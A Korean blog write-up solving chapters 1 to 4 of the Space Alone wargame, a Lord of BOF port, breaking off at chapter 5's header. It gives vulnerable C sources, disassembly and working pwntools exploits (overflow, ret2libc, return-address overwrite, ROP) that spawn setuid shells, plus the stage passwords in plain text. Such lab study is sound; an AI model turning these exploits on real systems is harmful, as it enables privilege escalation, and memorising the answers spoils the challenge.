오늘은 Space Alone write-up을 작성할 것이다.

 

Space Alone은 기존 LOB(The Lord of BOF)를 Ubuntu 22.04 환경에 맞춰 조정한 정신적 계승작입니다.

 

먼저 작성자는 포너블의 기초도 없지만 Space Alone을 통해 탑다운 방식으로 공부해 나가기로 했다.

익스들이 형편 없고 야매로 작성한 감이 없지 않아 있지만.. ai 없이 직접 작성한 것이니 이해해주기를 바란다.

 

https://github.com/hspace-io/Space_Alone

 

GitHub - hspace-io/Space_Alone: The Lord of BOF를 Ubuntu 22.04 환경에 포팅한 계승작

The Lord of BOF를 Ubuntu 22.04 환경에 포팅한 계승작. Contribute to hspace-io/Space_Alone development by creating an account on GitHub.

github.com


CH. 1

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdbool.h>

char id[] = "helloworld";
char pw[] = "plzboft0s0lv3ch4ll";
char flag[] = "w3lcom3_to_pwn4ble_w0r1d";

void flag_finder()
{  
    FILE * fp;

    fp = fopen(".TOP_SECRET", "r");

    char data[20] = {0, };

    fread(data, sizeof(char), 19, fp);

    fclose(fp);
    fp = NULL;

    printf("%s\n\n", data);

    printf("Press enter to exit\n");
    getchar();
    getchar();
}

void ascii()
{
    printf("\n");
    printf("   ▄████████ ████████▄    ▄▄▄▄███▄▄▄▄    ▄█  ███▄▄▄▄   \n");
    printf("  ███    ███ ███   ▀███ ▄██▀▀▀███▀▀▀██▄ ███  ███▀▀▀██▄ \n");
    printf("  ███    ███ ███    ███ ███   ███   ███ ███▌ ███   ███ \n");
    printf("  ███    ███ ███    ███ ███   ███   ███ ███▌ ███   ███ \n");
    printf("▀███████████ ███    ███ ███   ███   ███ ███▌ ███   ███ \n");
    printf("  ███    ███ ███    ███ ███   ███   ███ ███  ███   ███ \n");
    printf("  ███    ███ ███   ▄███ ███   ███   ███ ███  ███   ███ \n");
    printf("  ███    █▀  ████████▀   ▀█   ███   █▀  █▀    ▀█   █▀  \n");
    printf("                                                       \n");
    printf("\n");
}

void user_ascii()
{
    printf("\n");
    printf("███    █▄     ▄████████    ▄████████    ▄████████ \n");
    printf("███    ███   ███    ███   ███    ███   ███    ███ \n");
    printf("███    ███   ███    █▀    ███    █▀    ███    ███ \n");
    printf("███    ███   ███         ▄███▄▄▄      ▄███▄▄▄▄██▀ \n");
    printf("███    ███ ▀███████████ ▀▀███▀▀▀     ▀▀███▀▀▀▀▀   \n");
    printf("███    ███          ███   ███    █▄  ▀███████████ \n");
    printf("███    ███    ▄█    ███   ███    ███   ███    ███ \n");
    printf("████████▀   ▄████████▀    ██████████   ███    ███ \n");
    printf("                                       ███    ███ \n");
    printf("\n");
}

void file_read(char * path){//make path
    int len = 0;
    char * data;

    FILE * fp;
    fp = fopen(path, "r");
    
    fseek(fp, 0, SEEK_END);
    len = ftell(fp);
    rewind(fp);

    data = (char*)malloc(sizeof(char) * len);

    if(data == NULL){
	printf("allocate Error\n");
	exit(0);
    }

    fread(data, sizeof(char), len, fp);
    printf("%s\n\n", data);

    free(data);
    data = NULL;

    printf("Press enter to exit\n");
    getchar();
    getchar();

}

void root()
{
    int res;
    while(true){
        system("clear");
        ascii();
        printf("User: admin\n");
        printf("\n");
        printf("1. S/W Info\n");
        printf("2. Check File\n");
        printf("3. Exit\n");

        printf("\n");
        printf("Select Menu: ");
        scanf("%d", &res);

        switch (res)
        {
        case 1:
            system("clear");
            printf("File Viewer\n");
            printf("Version: 3.0.2\n\n");

	    printf("Press enter to exit\n");
	    getchar();
	    getchar();
            break;
        
        case 2:
            system("clear");
	    //flag_finder();
	    file_read((char*)".TOP_SECRET");
            break;

        case 3:
            system("clear");
            printf("Goodbye\n");
            exit(0);
            break;

        default:
            printf("Invalid Number\n");
            exit(0);
        }
    }
}

void menu()
{
    int res;

    while (true){
        system("clear");
        user_ascii();
        printf("1. S/W Info\n");
        printf("2. Check File\n");
        printf("3. Exit\n");

        printf("Select Menu: ");
        scanf("%d", &res);

        switch (res)
        {
        case 1:
            system("clear");
            printf("File Viewer\n");
            printf("Version: 3.0.2\n");
            printf("Press enter to exit\n\n");
            getchar();
	    getchar();
            break;
        case 2:
            system("clear");
	    file_read((char*)".SECRET");
            break;

        case 3:
            system("clear");
            printf("Goodbye\n");
            exit(0);
            break;

        default:
            printf("Invalid Number\n");
            break;
        }
    }
    
}

int main()
{
    int cmp1 = 3, cmp2 = 3, cmp3 = 3, cmp4 = 3;
    char admin[10] = "deny", id_input[20], pw_input[20];

    system("clear");

    printf("ID: ");
    scanf("%s", id_input);
    printf("PASSWORD: ");
    scanf("%s", pw_input);
    sleep(1);
    if(strncmp(id_input, "admin", 5) == 0) printf("%s\n", admin);
    sleep(1);

    cmp1 = strncmp(id, id_input, 10);
    cmp2 = strncmp(pw, pw_input, 19);
    cmp3 = strncmp(id_input, "admin", 5);
    cmp4 = strncmp(admin, "confirm", 7);

    if(cmp1 == 0 && cmp2 == 0){
        printf("Wellcome Back!\n");
        menu();
        exit(0);
    }

    if(cmp3 == 0 && cmp4 == 0){
	system("clear");
        printf("Redirect to Admin page\n");

        sleep(1);
        printf(".......\n");
        sleep(1);
        printf(".......\n");
        sleep(1);
        printf(".......\n");
        sleep(1);
        printf(".......\n");
        sleep(1);
        printf(".......\n");

        system("clear");

        root();

        exit(0);
    }
    

    return 0;
}

 

main 함수부터 분석해보자면 id와 pw를 입력받고 strncmp 함수를 통해 값을 비교한다.

cmp1과 cmp2는 일반 사용자로 로그인한다고 판단하여 무시하였고 cmp3과 cmp4의 값이 0이 되어 root 함수로 진입해야 된다고 생각했다.

 

먼저 코드만 봤을 때 cmp3은 id_input과 "admin" 문자열을 strncmp 함수로 비교하는데 5글자만 비교하여 결과를 저장한다.

cmp4는 admin 변수와 "confirm" 문자열을 strncmp 함수로 비교하며 7글자만 비교한다.

admin 변수는 현재 "deny"라는 문자열이 저장되어 있으며 이를 수정할 방법이 없기에 덮어써야된다고 생각했다.

마침 id_input과 pw_input이 scanf 함수를 통해 입력받는데 입력받을 글자 수가 지정되어 있지 않아 bof를 터트릴 수 있을 것이라고 생각했다.

 

   0x000000000000194f <+89>:	lea    rax,[rbp-0x30]
   0x0000000000001953 <+93>:	mov    rsi,rax
   0x0000000000001956 <+96>:	lea    rax,[rip+0xef2]        # 0x284f
   0x000000000000195d <+103>:	mov    rdi,rax
   0x0000000000001960 <+106>:	mov    eax,0x0
   0x0000000000001965 <+111>:	call   0x1230 <__isoc99_scanf@plt>
   
   0x000000000000197e <+136>:	lea    rax,[rbp-0x50]
   0x0000000000001982 <+140>:	mov    rsi,rax
   0x0000000000001985 <+143>:	lea    rax,[rip+0xec3]        # 0x284f
   0x000000000000198c <+150>:	mov    rdi,rax
   0x000000000000198f <+153>:	mov    eax,0x0
   0x0000000000001994 <+158>:	call   0x1230 <__isoc99_scanf@plt>

 

먼저 scanf 함수로 전달되는 인자를 보면 [rbp-0x30]과 [rbp-0x50]을 rsi에 저장한다.

scanf 함수로 입력받는 변수는 id_input과 pw_input이기에 [rbp-0x30]과 [rbp-0x50] 스택 위치에 두 변수의 값이 위치한다.

 

   0x0000000000001a11 <+283>:	mov    DWORD PTR [rbp-0x8],eax
   0x0000000000001a14 <+286>:	lea    rax,[rbp-0x30]
   0x0000000000001a18 <+290>:	mov    edx,0x5
   0x0000000000001a1d <+295>:	lea    rcx,[rip+0xe39]        # 0x285d
   0x0000000000001a24 <+302>:	mov    rsi,rcx
   0x0000000000001a27 <+305>:	mov    rdi,rax
   0x0000000000001a2a <+308>:	call   0x1170 <strncmp@plt>
   0x0000000000001a2f <+313>:	mov    DWORD PTR [rbp-0xc],eax
   0x0000000000001a32 <+316>:	lea    rax,[rbp-0x1a]
   0x0000000000001a36 <+320>:	mov    edx,0x7
   0x0000000000001a3b <+325>:	lea    rcx,[rip+0xe21]        # 0x2863
   0x0000000000001a42 <+332>:	mov    rsi,rcx
   0x0000000000001a45 <+335>:	mov    rdi,rax
   0x0000000000001a48 <+338>:	call   0x1170 <strncmp@plt>

 

해당 부분은 cmp3과 cmp4의 값을 strncmp로 저장하는 부분이다.

해당 부분을 통해 [rbp-0x1a] 위치에 admin 변수 값이 위치하는 것을 알 수 있으며 id_input을 통해 bof를 터트려 덮으면 될 것이라고 생각했다.

 

 

0x30 - 0x1a는 0x16(22)이므로 22바이트 떨어져 있다. 그래서 22개의 문자를 넣어 admin 변수의 시작 주소에 도달할 수 있을 것이다.

id_input과 "admin" 문자열도 비교하기에 admin 뒤에 A를 17개 넣어 admin 변수 시작 주소까지 간 뒤, confirm을 넣어 cmp4도 0이 될 수 있도록 작성하였다.

 

 

admin 페이지에 접속된 것을 확인할 수 있다.

2. Check File 에서 TOP_SECRET 파일을 읽을 수 있기에 2를 입력한다.

 

다음 챕터로 넘어갈 수 있는 비밀번호를 획득했다.

 

simple_bof

CH. 2

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

int cmp = 0xfffff, num = 0;
char srl[30] = "3t267s77wh2djfi3mid2od2o329dw";

void dec(char * ptr, int len)
{
    for(int i = 0; i < len; i++){
        ptr[i] ^= 0x40;       
    }
}

void print_file()
{
    FILE * fp;
    int flsz = 0;
    char * file = 0;

    printf("Wait until decode\n");

    sleep(3);

    fp = fopen(".Real_Top_Secret", "rb");

    fseek(fp, 0, SEEK_END);
    flsz = ftell(fp);
    rewind(fp);

    file = malloc(sizeof(char)*flsz+1);
    memset(file, 0, flsz+1);

    fread(file, flsz, 1, fp);

    dec(file, flsz);

    system("clear");

    printf("--------------------------------------------------------------------------\n");
    printf("%s\n", file);
    printf("--------------------------------------------------------------------------\n");

    fclose(fp);
    free(file);
    file = NULL;

    if(getchar() != 0){
        system("clear");
    }

    free(file);
    file = NULL;
}


int main()
{
    char serial[256] = {0, };

    printf("Serial Number: ");
    gets(serial);

    if(strlen(serial) == 29){
        cmp = strcmp(serial, srl);
        if(cmp == 0){
            printf("Welcome Back!\n");
            print_file();
            goto end;
        }
    }

    end:
    return 0;
}

 

main 함수를 보면 Serial을 입력받아 srl 변수와 일치하면 print_file()을 호출하여 .Real_Top_Secret 파일을 읽는다.

하지만 srl 변수 값을 넣어 .Real_Top_Secret을 읽어봐도 비밀번호와 관련된 내용은 없다.

생각해보니 Serial을 입력받는 과정에서 gets 함수를 사용하였기에 입력받는 글자 수를 체크하지 않고 이로 인해 bof가 발생할 수 있다.

 

Decoding_for_Escape@hsapce-io:~$ file File_Decoder
File_Decoder: setuid ELF 32-bit LSB executable, Intel 80386, 
version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, 
BuildID[sha1]=897ea5a2befcfe88abb8738ce206cb63a8a71579, for GNU/Linux 3.2.0, not stripped

 

file 명령어를 통해 확인해보니 32bit ELF 파일이다.

 

pwndbg> checksec
File:     /home/Decoding_for_Escape/File_Decoder
Arch:     i386
RELRO:      No RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
PIE:        No PIE (0x8048000)
Stack:      Executable
RWX:        Has RWX segments
Stripped:   No

 

그 다음 checksec으로 보호 기법을 확인해보니 canary와 RELRO, PIE가 전부 꺼져있다.

 

Dump of assembler code for function main:
   0x080493fe <+0>:	push   ebp
   0x080493ff <+1>:	mov    ebp,esp
   0x08049401 <+3>:	push   edi
   0x08049402 <+4>:	push   ebx
   0x08049403 <+5>:	sub    esp,0x100
   0x08049409 <+11>:	call   0x80491b0 <__x86.get_pc_thunk.bx>
   0x0804940e <+16>:	add    ebx,0x1eb2
   0x08049414 <+22>:	mov    DWORD PTR [ebp-0x108],0x0
   0x0804941e <+32>:	lea    edx,[ebp-0x104]
   0x08049424 <+38>:	mov    eax,0x0
   0x08049429 <+43>:	mov    ecx,0x3f
   0x0804942e <+48>:	mov    edi,edx
   0x08049430 <+50>:	rep stos DWORD PTR es:[edi],eax
   0x08049432 <+52>:	lea    eax,[ebx-0x1241]
   0x08049438 <+58>:	push   eax
   0x08049439 <+59>:	call   0x8049060 <printf@plt>
   0x0804943e <+64>:	add    esp,0x4
   0x08049441 <+67>:	lea    eax,[ebp-0x108]
   0x08049447 <+73>:	push   eax
   0x08049448 <+74>:	call   0x8049070 <gets@plt>
   0x0804944d <+79>:	add    esp,0x4
   0x08049450 <+82>:	lea    eax,[ebp-0x108]
   0x08049456 <+88>:	push   eax
   0x08049457 <+89>:	call   0x8049120 <strlen@plt>
   0x0804945c <+94>:	add    esp,0x4
   0x0804945f <+97>:	cmp    eax,0x1d
   0x08049462 <+100>:	jne    0x80494a0 <main+162>
   0x08049464 <+102>:	lea    eax,[ebx+0x60]
   0x0804946a <+108>:	push   eax
   0x0804946b <+109>:	lea    eax,[ebp-0x108]
   0x08049471 <+115>:	push   eax
   0x08049472 <+116>:	call   0x8049040 <strcmp@plt>
   0x08049477 <+121>:	add    esp,0x8
   0x0804947a <+124>:	mov    DWORD PTR [ebx+0x5c],eax
   0x08049480 <+130>:	mov    eax,DWORD PTR [ebx+0x5c]
   0x08049486 <+136>:	test   eax,eax
   0x08049488 <+138>:	jne    0x80494a0 <main+162>
   0x0804948a <+140>:	lea    eax,[ebx-0x1231]
   0x08049490 <+146>:	push   eax
   0x08049491 <+147>:	call   0x8049100 <puts@plt>
   0x08049496 <+152>:	add    esp,0x4
   0x08049499 <+155>:	call   0x80492b7 <print_file>
   0x0804949e <+160>:	jmp    0x80494a1 <main+163>
   0x080494a0 <+162>:	nop
   0x080494a1 <+163>:	mov    eax,0x0
   0x080494a6 <+168>:	lea    esp,[ebp-0x8]
   0x080494a9 <+171>:	pop    ebx
   0x080494aa <+172>:	pop    edi
   0x080494ab <+173>:	pop    ebp
   0x080494ac <+174>:	ret    
End of assembler dump.

 

main 함수에서 gets 함수 인자를 보면 [ebp-0x108]에 입력값을 쓴다.

그렇다면 0x108보다 더 입력하여 ebp와 return address를 덮어쓸 수 있을 것이다.

 

Decoding_for_Escape@hsapce-io:~$ cat /proc/sys/kernel/randomize_va_space 
0

Decoding_for_Escape@hsapce-io:~$ strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
 1bd0d5 /bin/sh
Decoding_for_Escape@hsapce-io:~$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"
  2166: 00048170    63 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.0

 

먼저 ASLR을 확인해보니 꺼져있었고, ASLR이 꺼져있기에 libc base 주소가 변하지 않는다.

그렇다면 system 함수와 /bin/sh 문자열 오프셋을 가져와 libc base에 더해 사용할 수 있을 것이라고 생각했다.

 

from pwn import *

p = process('./File_Decoder')

payload = b'A' * 268
payload += p32(0xf7d81000 + 0x48170) # system()
payload += p32(0)
payload += p32(0xf7d81000 + 0x1bd0d5) # /bin/sh 

p.sendline(payload)

 

다음과 같이 익스를 작성해주었다.

A를 0x108(264)에 ebp 4바이트까지 하여 268개를 입력하고 뒤에 system 함수 주소로 return하도록 하였으며, 0xf7d81000은 libc base의 주소이다. 문제 파일은 32bit로 되어있기에 인자를 스택에 push하여 전달한다. 그래서 system 함수 다음에 /bin/sh 문자열을 위치시켜 system 함수를 실행할 때 /bin/sh가 인자로 들어갈 수 있도록 하였다.

 

 

익스를 실행해보니 파일에 걸려있던 SUID 권한에 의해 파일 소유자인 다음 챕터 계정으로 /bin/sh이 열린 것을 확인할 수 있다.

 

Escape_Triggered_by_shellcode

CH. 3

//Stage3 of BOF expedition
//Compile : gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -no-pie -o stage3 stage3.c

#include<stdio.h>
#include<stdlib.h>

int check_value = 0;

void shell()
{
    check_value = 1;
    printf("You Open the Armory Door!\n\n");
    system("/bin/sh");
}

void Power_Supply()
{
    printf("Armory lights up!\n\n");
}

void Power_cut_off()
{
    printf("The lights go out in the armory!\n\n");
}

void Weapon_Select()
{
    int weapon_choice;

    if(check_value != 1)
    {
        printf("You must be open the door!\n\n");
    }
    else
    {
        printf("Weapon List\n");
        printf("[1] Knife\n");
        printf("[2] Gun\n");
        printf("[3] Frying Pan\n");
        printf("[4] Baseball Bet\n");

        printf("Select a Weapon : ");
        scanf("%d", &weapon_choice);
        
        switch (weapon_choice) {
        case 1:
            printf("[Knife] I got it!\n\n");
            break;
        case 2:
            printf("[Gun] I got it!\n\n");
            break;
        case 3:
            printf("[Frying Pan] I got it!\n\n");
            break;
        case 4:
            printf("[Baseball] I got it!\n\n");
            break;
        default:
            printf("Wrong input!\n");
            break;
        }
    }
}

void Open_Door()
{
    char password[20];
    
    printf("Enter Password : ");
    scanf("%s", password);
}

void Close_Door()
{
    if(check_value ==  0)
    {
        printf("The door is already closed\n\n");
    }
}

void Check_Security_System_Log()
{
    printf("Arch:     i386-32-little\n");
    printf("RELRO:    Partial RELRO\n");
    printf("Stack:    No canary found\n");
    printf("NX:       NX unknown - GNU_STACK missing\n");
    printf("PIE:      No PIE\n");
    printf("Stack:    Executable\n");
    printf("RWX:      Has RWX segments\n\n");
}

void print_menu()
{
    printf("Armory Management System\n");
    printf("<Menu>\n");
    printf("[0] Turn Off Armory Management System\n");
    printf("[1] Power Supply\n");
    printf("[2] Power cut-off\n");
    printf("[3] Weapon Select\n");
    printf("[4] Check the security system log\n");
    printf("[5] Open Door\n");
    printf("[6] Close Door\n\n");
}

int main(void)
{
    int select_menu;

    print_menu();
    
    while(1)
    {
        printf("Select Menu : ");
        scanf("%d", &select_menu);
        
        if(select_menu == 0)
        {
            break;
        }
        else if(select_menu == 1)
        {
            Power_Supply();
        }
        else if(select_menu == 2)
        {
            Power_cut_off();
        }
        else if(select_menu == 3)
        {
            Weapon_Select();
        }
        else if(select_menu == 4)
        {
            Check_Security_System_Log();
        }
        else if(select_menu == 5)
        {
            Open_Door();
            puts(" ");
        }
        else if(select_menu == 6)
        {
            Close_Door();
        }
        else
        {
            printf("Wrong input!\n");
            break;
        }
    }
}

 

이번 문제는 shell 함수로 들어가면 함수 내에서 system("/bin/sh")을 실행해준다.

읽다보니 Open_Door 함수에서 password 변수를 scanf로 입력받는데 길이 제한이 없어 bof가 발생할 수 있다.

 

Breaking_Through_for_Survival@hsapce-io:~$ file stage3
stage3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), 
dynamically linked, interpreter /lib/ld-linux.so.2, 
BuildID[sha1]=e74f14bdb1fc7c1fdb14bea04af3021e0b684f75, for GNU/Linux 3.2.0, not stripped

Breaking_Through_for_Survival@hsapce-io:~$ checksec stage3
[*] '/home/Breaking_Through_for_Survival/stage3'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

 

이번 문제는 canary, NX, PIE가 꺼져있다.

그럼 PIE가 꺼져있으면 shell 함수의 주소가 변하지 않을 것이니 gdb로 shell 함수의 주소를 얻고 거기로 점프만 시키면 될 것이다.

 

pwndbg> p shell
$1 = {<text variable, no debug info>} 0x80491a6 <shell>

 

shell 함수는 0x80491a6 위치에 있다.

 

pwndbg> disassemble Open_Door
Dump of assembler code for function Open_Door:
   0x08049348 <+0>:	push   ebp
   0x08049349 <+1>:	mov    ebp,esp
   0x0804934b <+3>:	push   ebx
   0x0804934c <+4>:	sub    esp,0x14
   0x0804934f <+7>:	call   0x80490e0 <__x86.get_pc_thunk.bx>
   0x08049354 <+12>:	add    ebx,0x2cac
   0x0804935a <+18>:	lea    eax,[ebx-0x1ecf]
   0x08049360 <+24>:	push   eax
   0x08049361 <+25>:	call   0x8049050 <printf@plt>
   0x08049366 <+30>:	add    esp,0x4
   0x08049369 <+33>:	lea    eax,[ebp-0x18]
   0x0804936c <+36>:	push   eax
   0x0804936d <+37>:	lea    eax,[ebx-0x1ebd]
   0x08049373 <+43>:	push   eax
   0x08049374 <+44>:	call   0x8049080 <__isoc99_scanf@plt>
   0x08049379 <+49>:	add    esp,0x8
   0x0804937c <+52>:	nop
   0x0804937d <+53>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x08049380 <+56>:	leave  
   0x08049381 <+57>:	ret    
End of assembler dump.

 

Open_Door 함수를 보면 scanf 함수의 인자로 들어가는 password 변수 값이 [ebp-0x18]에 위치하고 있다.

그러면 ebp를 덮을 바이트까지 총 28바이트를 A로 입력하고 return address를 shell 함수의 주소로 덮어쓰면 될 것이다.

 

from pwn import *

p = process('./stage3')

p.sendline(b'5')

payload = b'A' * (0x18 + 4)
payload += p32(0x80491a6)

p.sendline(payload)

p.interactive()

 

다음과 같이 익스를 작성하였다.

 

 

익스를 실행하니 다음 챕터 계정으로 쉘이 열려 다음 챕터의 비밀번호를 획득할 수 있었다.

 

extRAOrdinary_crawbar!

CH. 4

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char MasterKey[16] = "/bin/sh";

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void gadget() {
    asm("pop %rdi; ret");
    asm("pop %rsi; pop %r15; ret");
    asm("pop %rdx; ret");
    }

void welcom(){
    printf("Welcome to the shop\n");
    printf("[1] Vegetable Display\n");
    printf("[2] Frozen Food Display\n");
    printf("[3] Ramen/Snack Display\n");
}

int main(int argc, char *argv[]){

    int select;
    char buf[0x40]={};
    initialize();
    welcom();

    printf("Choose the display stand : ");
    scanf("%d", &select);
    if(select == 1 || select == 3)
    {
        printf("Remaining quantity : 0");
        printf("There are no items left.");
    }
    else if(select == 2)
    {
        printf("Remaining quantity : 30\n");
        printf("Frozen food is stored in the freezer warehouse.\n");
        printf("Address of freezer warehouse : %p\n", &read);
        printf("Please select the quantity of the item : ");
        read(0,buf,0x400);
    }



    write(1, buf, sizeof(buf));

    return 0;

 

이번 문제는 gadget 함수가 있고 전역 변수인 MasterKey에 /bin/sh 문자열이 저장되어 있다.

그리고 main 함수 내에서 read 함수의 주소를 출력해주며, read 함수를 통해 buf를 입력받는데 buf는 0x40 크기이지만 0x400만큼 쓰기 때문에 bof가 발생할 수 있다.

 

Scavening_for_Survival@hsapce-io:~$ cat /proc/sys/kernel/randomize_va_space 
2

Scavening_for_Survival@hsapce-io:~$ checksec stage4
[*] '/home/Scavening_for_Survival/stage4'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    
Scavening_for_Survival@hsapce-io:~$ file stage4
stage4: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 
BuildID[sha1]=d86aad106ecb24abfea991abebb19e2cf05c0980, for GNU/Linux 3.2.0, not stripped

 

이번 문제는 ASLR이 켜져있고 canary와 PIE만 꺼져있다.

ASLR이 켜져있다면 libc base 주소가 매번 바뀌기 때문에 system 함수를 사용해 쉘을 얻을 수 없지 않을까 했지만 main 함수 내에서 read 함수의 주소를 출력해주기에 이를 통해 libc base 주소를 구할 수 있을 것이다.

또한 문제 파일이 64bit이기 때문에 gadget 함수를 사용하여 ROP를 하면 될 것이다.

 

Dump of assembler code for function main:
   0x0000000000401267 <+0>:	endbr64 
   0x000000000040126b <+4>:	push   rbp
   0x000000000040126c <+5>:	mov    rbp,rsp
   0x000000000040126f <+8>:	sub    rsp,0x60
   0x0000000000401273 <+12>:	mov    DWORD PTR [rbp-0x54],edi
   0x0000000000401276 <+15>:	mov    QWORD PTR [rbp-0x60],rsi
   0x000000000040127a <+19>:	mov    QWORD PTR [rbp-0x50],0x0
   0x0000000000401282 <+27>:	mov    QWORD PTR [rbp-0x48],0x0
   0x000000000040128a <+35>:	mov    QWORD PTR [rbp-0x40],0x0
   0x0000000000401292 <+43>:	mov    QWORD PTR [rbp-0x38],0x0
   0x000000000040129a <+51>:	mov    QWORD PTR [rbp-0x30],0x0
   0x00000000004012a2 <+59>:	mov    QWORD PTR [rbp-0x28],0x0
   0x00000000004012aa <+67>:	mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004012b2 <+75>:	mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004012ba <+83>:	mov    eax,0x0
   0x00000000004012bf <+88>:	call   0x4011c6 <initialize>
   0x00000000004012c4 <+93>:	mov    eax,0x0
   0x00000000004012c9 <+98>:	call   0x401220 <welcom>
   0x00000000004012ce <+103>:	lea    rax,[rip+0xd8d]        # 0x402062
   0x00000000004012d5 <+110>:	mov    rdi,rax
   0x00000000004012d8 <+113>:	mov    eax,0x0
   0x00000000004012dd <+118>:	call   0x4010b0 <printf@plt>
   0x00000000004012e2 <+123>:	lea    rax,[rbp-0x4]
   0x00000000004012e6 <+127>:	mov    rsi,rax
   0x00000000004012e9 <+130>:	lea    rax,[rip+0xd8e]        # 0x40207e
   0x00000000004012f0 <+137>:	mov    rdi,rax
   0x00000000004012f3 <+140>:	mov    eax,0x0
   0x00000000004012f8 <+145>:	call   0x4010d0 <__isoc99_scanf@plt>
   0x00000000004012fd <+150>:	mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000401300 <+153>:	cmp    eax,0x1
   0x0000000000401303 <+156>:	je     0x40130d <main+166>
   0x0000000000401305 <+158>:	mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000401308 <+161>:	cmp    eax,0x3
   0x000000000040130b <+164>:	jne    0x401337 <main+208>
   0x000000000040130d <+166>:	lea    rax,[rip+0xd6d]        # 0x402081
   0x0000000000401314 <+173>:	mov    rdi,rax
   0x0000000000401317 <+176>:	mov    eax,0x0
   0x000000000040131c <+181>:	call   0x4010b0 <printf@plt>
   0x0000000000401321 <+186>:	lea    rax,[rip+0xd70]        # 0x402098
   0x0000000000401328 <+193>:	mov    rdi,rax
   0x000000000040132b <+196>:	mov    eax,0x0
   0x0000000000401330 <+201>:	call   0x4010b0 <printf@plt>
   0x0000000000401335 <+206>:	jmp    0x4013a5 <main+318>
   0x0000000000401337 <+208>:	mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040133a <+211>:	cmp    eax,0x2
   0x000000000040133d <+214>:	jne    0x4013a5 <main+318>
   0x000000000040133f <+216>:	lea    rax,[rip+0xd6b]        # 0x4020b1
   0x0000000000401346 <+223>:	mov    rdi,rax
   0x0000000000401349 <+226>:	call   0x401090 <puts@plt>
   0x000000000040134e <+231>:	lea    rax,[rip+0xd7b]        # 0x4020d0
   0x0000000000401355 <+238>:	mov    rdi,rax
   0x0000000000401358 <+241>:	call   0x401090 <puts@plt>
   0x000000000040135d <+246>:	mov    rax,QWORD PTR [rip+0x2c8c]        # 0x403ff0
   0x0000000000401364 <+253>:	mov    rsi,rax
   0x0000000000401367 <+256>:	lea    rax,[rip+0xd92]        # 0x402100
   0x000000000040136e <+263>:	mov    rdi,rax
   0x0000000000401371 <+266>:	mov    eax,0x0
   0x0000000000401376 <+271>:	call   0x4010b0 <printf@plt>
   0x000000000040137b <+276>:	lea    rax,[rip+0xda6]        # 0x402128
   0x0000000000401382 <+283>:	mov    rdi,rax
   0x0000000000401385 <+286>:	mov    eax,0x0
   0x000000000040138a <+291>:	call   0x4010b0 <printf@plt>
   0x000000000040138f <+296>:	lea    rax,[rbp-0x50]
   0x0000000000401393 <+300>:	mov    edx,0x400
   0x0000000000401398 <+305>:	mov    rsi,rax
   0x000000000040139b <+308>:	mov    edi,0x0
   0x00000000004013a0 <+313>:	call   0x401080 <read@plt>
   0x00000000004013a5 <+318>:	lea    rax,[rbp-0x50]
   0x00000000004013a9 <+322>:	mov    edx,0x40
   0x00000000004013ae <+327>:	mov    rsi,rax
   0x00000000004013b1 <+330>:	mov    edi,0x1
   0x00000000004013b6 <+335>:	call   0x4010a0 <write@plt>
   0x00000000004013bb <+340>:	mov    eax,0x0
   0x00000000004013c0 <+345>:	leave  
   0x00000000004013c1 <+346>:	ret    
End of assembler dump.

 

main 함수에서 read 함수의 인자를 보면 buf 변수 값은 [rbp-0x50] 위치에 있다.

그렇다면 A를 0x50 + 0x8 바이트만큼 작성하면 return address에 값을 덮어쓸 수 있을 것이다.

 

pwndbg> p &MasterKey 
$1 = (<data variable, no debug info> *) 0x404050 <MasterKey>

pwndbg> disassemble gadget
Dump of assembler code for function gadget:
   0x000000000040120d <+0>:	endbr64 
   0x0000000000401211 <+4>:	push   rbp
   0x0000000000401212 <+5>:	mov    rbp,rsp
   0x0000000000401215 <+8>:	pop    rdi
   0x0000000000401216 <+9>:	ret    
   0x0000000000401217 <+10>:	pop    rsi
   0x0000000000401218 <+11>:	pop    r15
   0x000000000040121a <+13>:	ret    
   0x000000000040121b <+14>:	pop    rdx
   0x000000000040121c <+15>:	ret    
   0x000000000040121d <+16>:	nop
   0x000000000040121e <+17>:	pop    rbp
   0x000000000040121f <+18>:	ret    
End of assembler dump.

 

MasterKey 변수의 주소와 gadget 주소를 얻었으니 익스를 작성하면 된다.

 

 

from pwn import *

p = process('./stage4')

read_offset = 0x114850
system_offset = 0x50d70

p.sendline(b'2')
p.recvuntil(b"warehouse : ")
read_add = p.recv(14)

print(read_add)

libc_add = int(read_add,16) - read_offset
system_add = libc_add + system_offset

print(system_add)

payload = b'A'*88
payload += p64(0x401216) # ret
payload += p64(0x401215) # pop rdi; ret
payload += p64(0x404050) # /bin/sh
payload += p64(system_add)

p.sendline(payload)
p.interactive()

 

해당 익스는 처음에 2를 입력하여 read 함수의 주소를 얻어 libc base의 주소를 계산하고 system 함수의 주소를 얻는다.

그 후 ROP chain을 구성한다.

익스 코드에서 ret을 추가한 이유는 64bit에서는 스택이 16바이트로 항상 정렬되어 있어야하기에 정렬을 맞추기 위해 추가하였다.

 

 

익스를 실행하여 비밀번호를 획득했다.

i_gROPed_for_food_in_the_dark

CH. 5

#include <stdio.h>
